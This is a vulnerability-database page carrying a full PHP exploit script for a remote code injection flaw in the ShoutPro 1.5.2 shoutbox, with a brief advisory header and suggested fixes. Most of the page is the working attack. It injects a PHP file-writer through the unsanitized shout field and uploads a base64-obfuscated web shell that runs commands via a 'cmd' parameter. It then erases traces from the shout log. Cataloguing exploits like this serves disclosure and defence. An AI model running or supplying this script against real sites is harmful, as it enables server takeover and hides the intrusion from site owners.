Lucene search
K

ShoutPro <= 1.5.2 (shout.php) Remote Code Injection Exploit

🗓️ 18 Apr 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 74 Views

Remote code injection in ShoutPro <= 1.5.2 enables arbitrary PHP code execution through unsanitized user input in shoutbox.php, potentially exploiting system commands

Code

                                                &lt;?/*
File:&nbsp;shoutbox.php
Affects:&nbsp;ShoutPro&nbsp;1.5.2&nbsp;(may&nbsp;affect&nbsp;earlier&nbsp;versions)
Date:&nbsp;17th&nbsp;April&nbsp;2007

Issue&nbsp;Description:
===========================================================================
ShoutPro&nbsp;1.5.2&nbsp;fails&nbsp;to&nbsp;fully&nbsp;sanitize&nbsp;user&nbsp;input&nbsp;($shout)&nbsp;that&nbsp;it&nbsp;writes
to&nbsp;the&nbsp;shouts.php&nbsp;file&nbsp;when&nbsp;adding&nbsp;a&nbsp;new&nbsp;message,&nbsp;this&nbsp;can&nbsp;result&nbsp;in&nbsp;the
injection&nbsp;and&nbsp;execution&nbsp;of&nbsp;arbitrary&nbsp;php&nbsp;code.
===========================================================================

Scope:
===========================================================================
The&nbsp;vulnerability&nbsp;will&nbsp;in&nbsp;most&nbsp;cases&nbsp;allow&nbsp;an&nbsp;attacker&nbsp;to&nbsp;execute&nbsp;commands
on&nbsp;the&nbsp;system,&nbsp;the&nbsp;issue&nbsp;may&nbsp;be&nbsp;further&nbsp;perpetuated&nbsp;if&nbsp;the&nbsp;user&nbsp;has&nbsp;followed
the&nbsp;official&nbsp;documentation&nbsp;and&nbsp;chmoded&nbsp;the&nbsp;base&nbsp;folder&nbsp;to&nbsp;'777'
===========================================================================

Recommendation:
===========================================================================
1)&nbsp;Add&nbsp;code&nbsp;to&nbsp;perform&nbsp;strip_tags()&nbsp;on&nbsp;$shout&nbsp;in&nbsp;shoutbox.php
2)&nbsp;Prevent&nbsp;direct&nbsp;access&nbsp;to&nbsp;shouts.php&nbsp;with&nbsp;a&nbsp;.htaccess&nbsp;file
===========================================================================

Discovered&nbsp;By:&nbsp;Gammarays
*/?&gt;


&lt;?php

echo&nbsp;&quot;########################################################\n&quot;;
echo&nbsp;&quot;#&nbsp;&nbsp;&nbsp;Special&nbsp;Greetings&nbsp;To&nbsp;-&nbsp;Timq,Warpboy,The-Maggot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n&quot;;
echo&nbsp;&quot;########################################################\n\n\n&quot;;

//Writes&nbsp;Files&nbsp;-&nbsp;Under&nbsp;100&nbsp;bytes&nbsp;to&nbsp;meet&nbsp;requirements
$temppayload&nbsp;=&nbsp;&quot;%3C%3F%24a%3Dfopen%28%24_POST%5B%27f%27%5D%2C%27w%27%29%3Bfwrite%28%24a%2Cbase64_decode%28%24_POST%5B%27d%27%5D%29%29%3Bfclose%28%24a%29%3B%3F%3E&quot;;

//Execute&nbsp;Commands&nbsp;+&nbsp;Performs&nbsp;Cleanup
$payload&nbsp;=&nbsp;&quot;PD9waHAgCgppZihpc3NldCgkX0dFVFsnY21kJ10pKQp7CmVjaG8gc2hlbGxfZXhlYyh1cmxkZWNv&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ZGUoJF9HRVRbJ2NtZCddKSk7CmRpZSgpOwp9CgppZigkX1BPU1RbJ2NsZWFuJ109PSdkb2l0Jykg&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;Y2xlYW4oKTsKCmZ1bmN0aW9uIGNsZWFuKCkKewogICRsMSA9IGZpbGUoJ3Nob3V0cy5waHAnKTsK&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ICAkZmggPSBmb3Blbignc2hvdXRzLnBocCcsJ3cnKTsKICBpZighJGZoKSBkaWUoKTsKCiAgZm9y&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ZWFjaCAoJGwxIGFzICRsMikgCiAgewoJaWYoIXN0cnN0cigkbDIsIiRhPWZvcGVuIikpCgl7CgkJ&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ZnByaW50ZigkZmgsJGwyKTsKCX0gICAgCiAgfQogIGZjbG9zZSgkZmgpOwp9Cgo/Pg==&quot;;



if($argc!=2)&nbsp;die(&quot;Usage:&nbsp;&lt;url&gt;&nbsp;\n\tEx:&nbsp;http://www.example.com/shoutpro/\n&quot;);

$url&nbsp;=&nbsp;$argv[1];
//$url&nbsp;=&nbsp;&quot;http://localhost/ShoutPro1.5.2/&quot;;

$ch&nbsp;=&nbsp;curl_init($url&nbsp;.&nbsp;&quot;shoutbox.php&quot;);
if(!$ch)&nbsp;die(&quot;Error&nbsp;Initializing&nbsp;CURL&quot;);

curl_setopt($ch,&nbsp;CURLOPT_RETURNTRANSFER,&nbsp;1);
$res&nbsp;=&nbsp;curl_exec($ch);
if(!$res)&nbsp;die(&quot;Error&nbsp;Connecting&nbsp;To&nbsp;Target&nbsp;-&nbsp;Is&nbsp;URL&nbsp;Valid?&quot;);

echo&nbsp;&quot;[&nbsp;]&nbsp;Deploying&nbsp;Temp&nbsp;Payload...\n&quot;;

curl_setopt($ch,&nbsp;CURLOPT_URL,$url&nbsp;.&nbsp;&quot;shoutbox.php?action=post&quot;);
curl_setopt($ch,&nbsp;CURLOPT_POST,1);
curl_setopt($ch,
CURLOPT_POSTFIELDS,&quot;name=Beethoven&amp;pass=&amp;shout=&quot;.$temppayload.&quot;&amp;post=Post&quot;);
$res&nbsp;=&nbsp;curl_exec($ch);
if(!$res)&nbsp;die(&quot;Error&nbsp;Deploying&nbsp;Temp&nbsp;Payload&quot;);

echo&nbsp;&quot;[&nbsp;]&nbsp;Deploying&nbsp;Main&nbsp;Payload...\n&quot;;

curl_setopt($ch,&nbsp;CURLOPT_URL,$url&nbsp;.&nbsp;&quot;shouts.php&quot;);
curl_setopt($ch,&nbsp;CURLOPT_POSTFIELDS,&quot;f=module.php&amp;d=&quot;.$payload);
$res&nbsp;=&nbsp;curl_exec($ch);
if(!$res)&nbsp;die(&quot;Error&nbsp;Deploying&nbsp;Main&nbsp;Payload&quot;);

echo&nbsp;&quot;[&nbsp;]&nbsp;Attempting&nbsp;Clean&nbsp;Up...\n&quot;;

curl_setopt($ch,&nbsp;CURLOPT_URL,$url&nbsp;.&nbsp;&quot;module.php&quot;);
curl_setopt($ch,&nbsp;CURLOPT_POSTFIELDS,&quot;clean=doit&quot;);
$res&nbsp;=&nbsp;curl_exec($ch);
if(!$res)&nbsp;die(&quot;Error&nbsp;-&nbsp;Clean&nbsp;Up&nbsp;Failed&quot;);

echo&nbsp;&quot;[&nbsp;]&nbsp;Clean&nbsp;Up&nbsp;Complete\n&quot;;
echo&nbsp;&quot;[&nbsp;]&nbsp;Shell&nbsp;Accessible&nbsp;at&nbsp;&quot;.$url.&quot;module.php?cmd=&lt;yourcommand&gt;&quot;;

curl_close($ch);
?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1
74